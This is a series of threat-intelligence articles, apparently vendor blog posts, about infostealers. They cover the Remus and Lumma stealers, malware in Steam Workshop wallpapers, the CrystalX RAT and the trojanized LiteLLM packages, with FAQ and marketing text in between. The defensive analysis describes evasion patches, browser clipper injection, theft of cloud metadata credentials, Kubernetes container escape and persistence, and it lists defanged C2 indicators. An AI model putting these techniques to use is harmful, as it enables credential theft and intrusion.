Much like the Lumma malware family, the Remus subscription service operates on a three-tiered access model:
Basic: US$250
Pro: US$500
Enterprise: US$1,000
At this time, Remus has no additional channels or automated bots associated with its sale or distribution. Despite undeniable similarities to Lumma, its developer claims to not be a rebrand of the Lumma project.
Since March 2026, Remus has continued its operations mostly unhindered by negative associations associated with Lumma—particularly the doxxing of its panel in August 2025.
Similarities to Lumma
Similarities can be observed in the Remus and Lumma panels in both aesthetics and functionality. Both panels use similar assets for tab icons and have embedded advertisements for other illicit services such as packers and log clouds. Harvested logs also share extremely similar directory structures in log files, including unique identifiers.
Remus is a 64-bit compiled binary, and Lumma was a 32-bit binary. However, major similarities between the code bases of both malware can be observed.
Upon execution of an unpacked sample, both Remus and Lumma will send warning messages to the user that the build is unpacked. This was a unique phenomenon first established by Lumma several years ago. In both Remus and Lumma samples, the pack check and window message are performed before the main functionality of the malware.
In both Remus and Lumma, a function is used first to check if the sample is packed, and a second function is used to send the window error message.
Remus uses similar string obfuscation methods to Lumma, in which each string has been uniquely encoded and then decoded during runtime. Deobfuscation occurs by looping byte by byte through encoded blobs. Each encoded string is obfuscated by a unique pattern. This can be seen in the code samples below:
Of note, both samples have at least one NOP instruction between the encoded blob being moved onto the stack and the deobfuscation loop.
Another unique feature of Lumma is the presence of a plaintext identifier string used to link customers to specific build generations. In Lumma, this string was referred to as the LID (Lumma ID), and this ID method appears in Remus as well as a “tag.”
Lumma ID (Source: Flashpoint)Remus tag (Source: Flashpoint)
Like the Lumma LID string, the Remus tag could be leveraged to attribute variant builds and campaigns to single threat actors or groups.
Additionally, both Remus and Lumma exhibit similar control flow obfuscation by replacing direct jumps with indirect jumps read from offsets that have been moved onto the stack, jumps computed from a jump table, and jumps resolved by a pointer.
Differentiators of Remus
Although Remus bears remarkable similarities to Lumma, its main differences lie in its C2 beaconing.
Before performing main stealer functionality, Remus will beacon out to its C2 infrastructure. It will attempt to resolve several domain:port combinations via POST requests, and attempt a final connection to find the C2 server using EtherHiding. If it is unable to connect, the malware will terminate.
After a connection is established, the stealer sends a POST request to the C2 in order to receive an access token. Once received and decoded, this access token is used to receive encrypted config data used by Remus to target assets on the victim system. Data collected for logs is then exfiltrated as encrypted POST data.
Network traffic from Remus sample (Source: Flashpoint)
Protect Against Infostealers Using Flashpoint
Remus stealer represents a sophisticated continuation of the MaaS infostealer model left behind by Lumma’s collapse. While the developer asserts independence, the overwhelming code overlaps, matching obfuscation techniques, and administrative panels indicate that Remus is either heavily inspired by, or derived from the Lumma codebase. These traits have allowed it to thrive, providing threat actors with a familiar, robust alternative that sidesteps the reputational baggage and law enforcement scrutiny of its predecessors.
Flashpoint continuously tracks the latest developments in illicit communities, hard-to-reach adversary spaces, and malware repositories to identify emerging threats. Request a demo to learn how Flashpoint’s primary source collections and analyst insights empowers your security teams.
Unit 42's analysis of ClawHub revealed evasive malicious skills bypassing automated scanners to deploy infostealers and execute agentic financial fraud.
Since late 2025, malware has been spreading rapidly through the Steam Workshop, the gaming platform’s built-in service for players to create and share custom content. The attackers are primarily targeting gamers in China and Russia, aiming to hijack their accounts. To pull this off, they are exploiting Wallpaper Engine – a popular live wallpaper app available on Steam – specifically leveraging its Workshop sharing feature. The malware is hidden inside the wallpaper packages users share with one another. Running one of these compromised wallpapers can lead to a stolen Steam account or leave the victim’s system infected with backdoors or crypto miners.
What is Wallpaper Engine?
Wallpaper Engine is an app that allows you to put animated wallpapers on your desktop. It’s available for both Windows and Android, though our investigation focused strictly on the Windows version. Thanks to a massive Steam community, the app is quite popular, boasting around 100,000 daily active users and nearly a million reviews. It comes with a built-in editor so users can create their own designs, and it supports a few different wallpaper types:
Videos: MP4, WebM, and other common video formats
Scenes: interactive wallpapers built inside the app’s own editor
Web pages: HTML pages powered by JavaScript and CSS, which can also include audio and video elements
Applications: active windows from third-party Windows-compatible software that Wallpaper Engine sets as the user’s desktop background
That last type, application wallpapers, is where things get risky, because these are essentially standalone programs. They can be anything from mini-games you play right on your desktop, to planners, calendars, system monitors, or widgets tracking your CPU or GPU usage.
Application wallpapers: a built-in security risk
The whole concept of “application wallpapers” essentially allows foreign code to be run directly on your computer. Cybercriminals took note of this feature and started embedding malware right into these types of wallpapers. Because Wallpaper Engine relies on Steam Workshop for content sharing, anyone can create a wallpaper and publish it for the community to download and install for free. Naturally, this setup is a magnet for bad actors.
We discovered dozens of these malicious application wallpapers floating around Steam Workshop, and each one had already been downloaded thousands – or even tens of thousands – of times.
When we analyzed them, we caught two different methods the attackers were using to spread their malware:
An archive containing the executable wallpaper alongside the malicious files. This payload usually consisted of compromised EXE files, DLLs, or malicious scripts.
In other cases, attackers threw a curveball by hiding the malware inside a password-protected archive. Either the victim was tricked into typing the password, or a script handled it automatically. The attackers would hide the password in plain sight – either right in the archive’s name or inside a JSON configuration installed along with other wallpaper files. For all the other variations, the payload triggered automatically when the user selected and applied the wallpaper.
Inside an infected game wallpaper
Main screen of the wallpaper application
On the surface, this wallpaper sample (above) we uncovered in December 2025 looks completely harmless. Once launched, there’s absolutely nothing to trigger your suspicion. The built-in game boots up flawlessly, runs smoothly, and the desktop controls work exactly as they should. But behind the scenes, a full-blown infection is underway. Within just a few minutes, a user might suddenly realize their Steam account has been hijacked, or find their computer crippled by malware, with their files being encrypted by ransomware or their system performance tanking because of a hidden crypto miner.
How the malware deploys
Once the game wallpaper launches, it drops a backdoor file called Synaptics.exe (part of the DarkKomet malware family) straight into the victim’s system. At the same time, an executable named ._cache_GAME1.exe fires up to boot the actual game, NTRaholic.
But that ._cache_GAME1.exe module is doing double duty. It simultaneously installs a custom version of a system library called AggregatorHost.dll with a payload inside. This modified library has one main objective: track down the Steam app on the computer and hunt for account credentials.
Looking for the Steam app
Next, the modified library hijacks the user’s live Steam session.
Hijacking the Steam session
After that, the compromised AggregatorHost.dll sends all the collected data to a server controlled by the hackers at hxxp://120.48.156[.]17/ey.php. Once the attackers have control of that active session, they can use the victim’s account to upload even more malicious wallpapers to Steam Workshop.
Attribution and victims
The game wallpaper described above is just one flavor of the many variations we uncovered during our research. By weaponizing the application wallpaper feature, bad actors have successfully distributed almost every type of malware under the sun – from popular infostealers and backdoors to crypto miners and botnet loaders.
Because the range of tools being used is so diverse, we suspect this isn’t the work of a single mastermind. Instead, it looks like multiple scattered, independent hacking groups are all jumping on the same trend. Right now, the primary targets are gamers in China. The wallpaper art styles and titles are tailored specifically to them, and the data backs it up: our security systems caught a staggering 89% of the malicious download attempts happening right there. That said, there’s absolutely nothing stopping these attackers from pivoting and launching a similar campaign in any other part of the world. Russia comes in second place for total downloads at 5.5%, followed by a smattering of other countries and territories: Singapore (1.4%), Hong Kong (0.9%), Germany (0.9%), Vietnam (0.9%), India (0.5%), and Canada (0.5%).
Malicious app wallpaper downloads by region
How to stay safe
Our investigation proves that even trusted platforms like the Steam Workshop aren’t completely safe from malware. In most cases, we caught old, familiar threats such as DarkKomet, the Lumma and Vidar infostealers, and the RenEngine loader. Kaspersky solutions can easily spot and block all of these payloads, no matter how clever the packaging is, thanks to our proactive security layers. Here are some of the specific threat detection verdicts assigned to the objects we discovered during our research:
HEUR:Trojan-PSW.Win32.gen
HEUR:Trojan-PSW.Win32.Python.gen
HEUR:Backdoor.Win32.DarkKomet
Trojan-Dropper.Python.Agent
HEUR:Trojan-Ransom.Win32.Gen.gen
PDM:Trojan.Win32.Generic.
By the time this post went live, the Steam team had already scrubbed the identified malicious wallpapers and links from the platform. However, given how frequently new infected wallpapers keep popping up on the Steam Workshop, you shouldn’t rely on Steam to catch everything. It’s highly recommended to run an antivirus scan on these types of wallpapers before you actually apply them.
Identity Is the New Attack Surface: How Infostealers Are Reshaping Enterprise Risk
Our new guide explores how infostealers are fueling modern identity-based attacks and how organizations can build a proactive defense before stolen access is weaponized.
A publicly exposed database surfaced in early 2026 containing more than 149 million stolen login credentials. The records were not tied to a single breach or organization. Instead, they had been quietly collected over time from devices infected with information-stealing malware, with each record containing usernames, passwords, session data, and the context needed to use them.
Unlike traditional breach dumps, this data was structured, searchable, and immediately actionable. Credentials were mapped to specific services, session artifacts reflected active logins, and much of the information was recent enough to enable direct access without triggering traditional security controls.
This incident reflects a broader shift in the threat landscape.
More than 11.1 million devices were infected with infostealers last year, fueling a supply of over 3.3 billion stolen credentials, session cookies, cloud tokens, and other forms of identity data now circulating across illicit markets.
For security teams, the challenge is no longer simply detecting a breach after it occurs. It is understanding when access may already exist — where compromised credentials are circulating, how they are being used, and how quickly they can be weaponized.
Drawing on Flashpoint’s Primary Source Collection (PSC) and analyst-driven intelligence, this guide helps IT, Threat Intelligence, Fraud, and HUNT teams understand how infostealers operate, how stolen identity data fuels real-world attacks, and how organizations can move from reactive response to proactive defense.
The guide explores:
How today’s most active infostealers power modern attack chains
How threat actors weaponize stolen credentials, cookies, and session data
How organizations can operationalize infostealer intelligence for proactive defense
How to evaluate infostealer intelligence providers and detection capabilities
Why Identity Has Become the Preferred Attack Surface
For years, security teams focused on vulnerabilities, malware delivery, and network intrusion as the primary paths to compromise. Increasingly, however, threat actors are taking a different
Modern infostealers such as Lumma, StealC, Vidar, Acreed, and Rhadamanthys provide attackers with something more valuable than initial access: usable identity. These malware families collect credentials, browser artifacts, session cookies, application data, and host metadata that help threat actors understand how a victim authenticates and what systems they can access.
A single infected device can expose credentials, browser artifacts, session cookies, application data, host metadata, and access to enterprise SaaS platforms. Together, these artifacts create a detailed profile of how a user authenticates, what systems they access, and how those systems trust that identity.
This is what makes infostealer data so valuable.
“For years, organizations have invested heavily in detecting malware, blocking exploits, and hardening infrastructure. Meanwhile, attackers have increasingly shifted to a simpler strategy: logging in with valid identities.
Infostealers have fundamentally changed the economics of access. Threat actors no longer need to compromise a network directly when billions of credentials, session cookies, and authentication artifacts are already circulating in underground ecosystems. The challenge for defenders has risen from preventing compromise to identifying where access already exists and how quickly it can be weaponized.”
Ian Gray, Vice President of Intelligence at Flashpoint
Identity data is inherently reusable. A stolen credential can be tested across multiple services. A session cookie can potentially allow attackers to hijack authenticated sessions. Browser and host metadata can help threat actors recreate a victim’s environment and bypass security controls designed to detect suspicious logins.
What begins as a single infection can quickly evolve into access across multiple systems, applications, and organizations.
What Is an Identity-Based Attack?
Identity-based attacks occur when threat actors use legitimate credentials, session cookies, authentication tokens, or other identity artifacts to gain access to systems and applications. Rather than exploiting a vulnerability or deploying malware inside a target environment, attackers authenticate as trusted users using stolen identity data.
This shift is one of the primary reasons infostealers have become so valuable. Modern infostealer logs often contain far more than usernames and passwords. They may also include browser cookies, session information, host metadata, application data, and other artifacts that help attackers understand how a user authenticates and what systems they can access. When combined, this information enables account takeover, fraud, lateral movement, and other forms of identity-based abuse.
From Credential Theft to Identity Exploitation
The way threat actors operationalize stolen data is evolving just as rapidly as the data itself.
Historically, attackers often had to manually review stolen credentials and determine which accounts were worth pursuing. Today, that process is increasingly automated.
Infostealer logs can be aggregated, tested, and prioritized at scale, allowing threat actors to rapidly identify valid access across enterprise systems, SaaS platforms, VPNs, and cloud environments.
Flashpoint identifies this as a hybrid threat: the convergence of large-scale identity compromise and automated exploitation.
Once valid access is identified, attackers can move quickly. Credentials may be reused across services. Session data can be leveraged for account takeover. Access can be sold to ransomware operators, fraud actors, or other criminal groups. In many cases, exposure itself becomes part of the attack lifecycle rather than merely a precursor to it.
The result is a threat landscape where stolen identity data is not simply stored and sold. It is continuously tested, validated, reused, and operationalized.
Turning Exposure Into Actionable Intelligence
For defenders, prevention remains important. But prevention alone is no longer enough.
Organizations must also be able to identify when credentials, session cookies, and other identity artifacts have already been exposed and are circulating within underground ecosystems.
The earliest opportunity to intervene is often after data has been exfiltrated but before attackers have successfully operationalized it.
Achieving that visibility requires more than traditional breach feeds or aggregated datasets.
Flashpoint’s Primary Source Collection approach provides direct visibility into the forums, marketplaces, Telegram channels, malware repositories, and illicit communities where infostealer activity originates. Rather than relying solely on recycled breach data, Flashpoint continuously collects from the environments where stolen identity data is first shared, sold, and operationalized.
However, collection alone is not enough.
Raw infostealer logs are noisy, fragmented, and difficult to operationalize at scale. Flashpoint transforms these logs into structured intelligence through a multi-stage workflow that includes:
Source ingestion from underground ecosystems
Normalization and de-duplication of collected data
Automated parsing and enrichment of credentials, cookies, host metadata, and malware attribution
Structured output that supports alerts, investigations, and integrations across existing security workflows
This process helps defenders understand not only what was exposed, but who may be affected, how exposure occurred, what systems may be at risk, and how quickly action is required.
Building a Proactive Defense Across the Identity Layer
The rise of infostealers has fundamentally changed how organizations should think about attack surface management.
The attack surface is no longer limited to infrastructure, endpoints, or internet-facing applications. It now includes the digital identities of employees, partners, vendors, and customers.
Security teams need visibility into the identity layer itself — understanding where exposure exists, how attackers are leveraging stolen data, and what actions should be taken before access is exploited.
By combining direct visibility into underground ecosystems with structured, actionable intelligence, organizations can identify compromised accounts earlier, uncover infection trends, prioritize response efforts, and reduce the likelihood of downstream compromise.
More than 11.1 million devices were infected with infostealers in the last year.
Over 3.3 billion credentials, session cookies, cloud tokens, and identity artifacts are circulating across illicit markets.
Flashpoint analysts identified 30+ active infostealer strains being sold across underground ecosystems.
Flashpoint’s credential database contains 48+ billion credentials, including more than 1 billion tied to infostealer activity.
More than 4.2% of infostealer-exposed credentials include browser cookies that may support session hijacking.
Flashpoint can collect and parse some infostealer logs within one to two days of infection.
Frequently Asked Questions (FAQ)
FAQ: Infostealers and Identity-Based Threats
What is an infostealer?
An infostealer is a type of malware designed to collect sensitive information from an infected device. Depending on the strain, this can include usernames and passwords, browser cookies, session tokens, saved payment information, cryptocurrency wallets, system metadata, and other identity-related artifacts.
How do infostealers work?
Infostealers infect a victim’s device and collect information such as credentials, browser data, session cookies, autofill information, cryptocurrency wallet data, and system metadata. The stolen information is packaged into files known as infostealer logs, which can then be sold, shared, or operationalized by threat actors.
What information can infostealers steal?
Depending on the malware family, infostealers can collect usernames and passwords, session cookies, authentication tokens, browser history, saved payment information, cryptocurrency wallet data, system information, installed applications, and other identity-related artifacts. The goal is to provide attackers with enough information to access accounts and impersonate legitimate users.
What are the most common infostealers?
The infostealer ecosystem changes rapidly, but Flashpoint analysts currently track strains such as Lumma (also known as LummaC2/Remus), StealC, Vidar, Acreed, and Rhadamanthys among the most prominent malware families driving credential theft and identity-based attacks.
Why are infostealers so dangerous?
Infostealers provide attackers with more than credentials. Modern infostealer logs often contain the context needed to use stolen data, including session information, browser artifacts, and device metadata. This allows threat actors to perform account takeovers, move laterally within environments, and gain access to business-critical systems. According to Flashpoint’s 2026 Global Threat Intelligence Report, more than 11.1 million devices were infected with infostealers last year, contributing to a pool of over 3.3 billion stolen credentials, session cookies, cloud tokens, and other identity artifacts.
What is an infostealer log?
An infostealer log is a package of data collected from an infected device. Logs may contain credentials, cookies, browser data, application information, host metadata, and other artifacts that help attackers understand how a victim authenticates and what systems they can access.
Can infostealers bypass multi-factor authentication (MFA)?
In some cases, yes. While multifactor authentication remains a critical security control, stolen session cookies and authenticated session data can sometimes allow threat actors to hijack existing sessions without needing to complete the MFA process themselves. Flashpoint found that more than 4.2% of infostealer-exposed credentials in its dataset were associated with browser cookies, highlighting the growing importance of session-based risk.
How do threat actors obtain infostealer logs?
Infostealer logs are frequently bought and sold across illicit marketplaces, forums, Telegram channels, and other underground communities. Many are distributed through Malware-as-a-Service (MaaS) offerings that make infostealer capabilities accessible to a wide range of threat actors. Flashpoint analysts identified more than 30 unique infostealer strains actively offered for sale across underground ecosystems.
How can organizations detect credential exposure from infostealers?
Organizations can monitor underground sources where stolen data is shared and sold, identify exposed credentials associated with their domains, and investigate related artifacts such as cookies, host metadata, and malware attribution. The earlier exposure is identified, the greater the opportunity to remediate before attackers operationalize access. Flashpoint collects and parses some infostealer logs within one to two days of infection, helping organizations detect exposure closer to the point of compromise.
What should organizations do if employee credentials appear in an infostealer log?
Organizations should immediately assess the scope of exposure, reset affected credentials, invalidate active sessions, review authentication activity, investigate the infected device, and determine whether additional accounts or systems may have been impacted.
How is Flashpoint’s approach to infostealer intelligence different from traditional breach monitoring?
Many organizations rely on aggregated breach feeds or credential dumps that may be weeks or months old by the time they are discovered. Flashpoint’s Primary Source Collection (PSC) approach provides direct visibility into the forums, marketplaces, Telegram channels, and underground communities where stolen identity data is first shared, sold, and operationalized.
In addition to collecting raw infostealer logs, Flashpoint parses and enriches the data with context such as malware attribution, session cookies, host metadata, browser artifacts, and affected identities. Today, Flashpoint’s credential database contains more than 48 billion credentials, including over 1 billion tied to infostealer activity, providing organizations with actionable intelligence rather than raw exposure data.
Unit 42 uncovers high-risk AI browser extensions. Disguised as productivity tools, they steal data, intercept prompts, and exfiltrate passwords. Protect your browser.
In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.
Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.
Technical details
Background
The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.
After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.
The builder and anti-debug features
By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:
MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
VM detect: checking running processes, presence of guest tools, and hardware characteristics
Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings
Stealth patches: patches for functions such as AmsiScanBuffer, EtwEventWrite, MiniDumpWriteDump
Stealer capabilities
When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options.
The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again.
Keylogger & clipper
Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm:
The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread.
A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script named content.js.
The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values.
The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument.
The final script looks as follows:
Remote access
The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background.
Prank commands
The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim.
Setting a background: downloading an image from a specified URL and using it as the desktop background.
Display orientation: rotating the screen 90°, 180°, or 270°.
System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility.
Remapping mouse buttons: swapping left click with right click and the other way round.
Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard.
Notifications: displaying a window with a custom title and message.
Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals.
Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe.
Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat.
Conclusions
The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future.
A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.
This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.
Repository compromise
The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.
Technical analysis
Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.
Example of the malicious code in proxy_server.py
The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.
The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.
The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.
What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:
SSH keys
GIT accounts
.env files
AWS, Kubernetes, email service, database, and WireGuard configurations
files related to Helm, Terraform, and CI
TLS keys and certificates
A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.
The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.
Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.
In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.
Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.
A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.
OpenVSX version of the malware
While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.
This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.
Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.
Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.
Victimology
While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.
Conclusion
As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.
Prevention and protection
To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.
Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.
To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.
At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:
Perform a full system scan using a reliable security solution.
Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes.
Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
Check for indicators of compromise (files on the system or network signs).
Navigating 2026’s Converged Threats: Insights from Flashpoint’s Global Threat Intelligence Report
In this post, we preview the critical findings of the 2026 Global Threat Intelligence Report, highlighting how the collapse of traditional security silos and the rise of autonomous, machine-speed attacks are forcing a total reimagining of modern defense.
The cybersecurity landscape has reached a point of total convergence, where the silos that once separated malware, identity, and infrastructure have collapsed into a single, high-velocity threat engine. Simultaneously, the threat landscape is shifting from human-led attacks to machine-speed operations as a result of agentic AI, which acts as a force multiplier for the modern adversary.
Flashpoint’s 2026 Global Threat Intelligence Report
Our report uncovers several staggering metrics that illustrate the industrialization of modern cybercrime:
AI-related illicit activity skyrocketed by 1,500% in a single month at the end of 2025.
3.3 billion compromised credentials and cloud tokens have turned identity into the primary exploit vector.
From January 2025 to December 2025, ransomware incidents rose by 53%, as attackers pivot from technical encryption to “pure-play” identity extortion.
Vulnerability disclosures surged by 12% from January 2025 to December 2025, with the window between discovery and mass exploitation effectively vanishing.
These findings are derived from Flashpoint’s Primary Source Collection (PSC), a specialized operating model that collects intelligence directly from original sources, driven by an organization’s unique Priority Intelligence Requirements (PIR). The 2026 Global Threat Intelligence Report leverages this ground-truth data to provide a strategic framework for the year ahead. Download to gain:
A Clear Understanding of the New Convergence Between Identity and AI Discover how threat actors are preparing to transition from generative tools to sophisticated agentic frameworks. Learn how 3.3 billion compromised credentials are being weaponized via automated orchestration to bypass legacy defenses and exploit the connective tissue of modern corporate APIs.
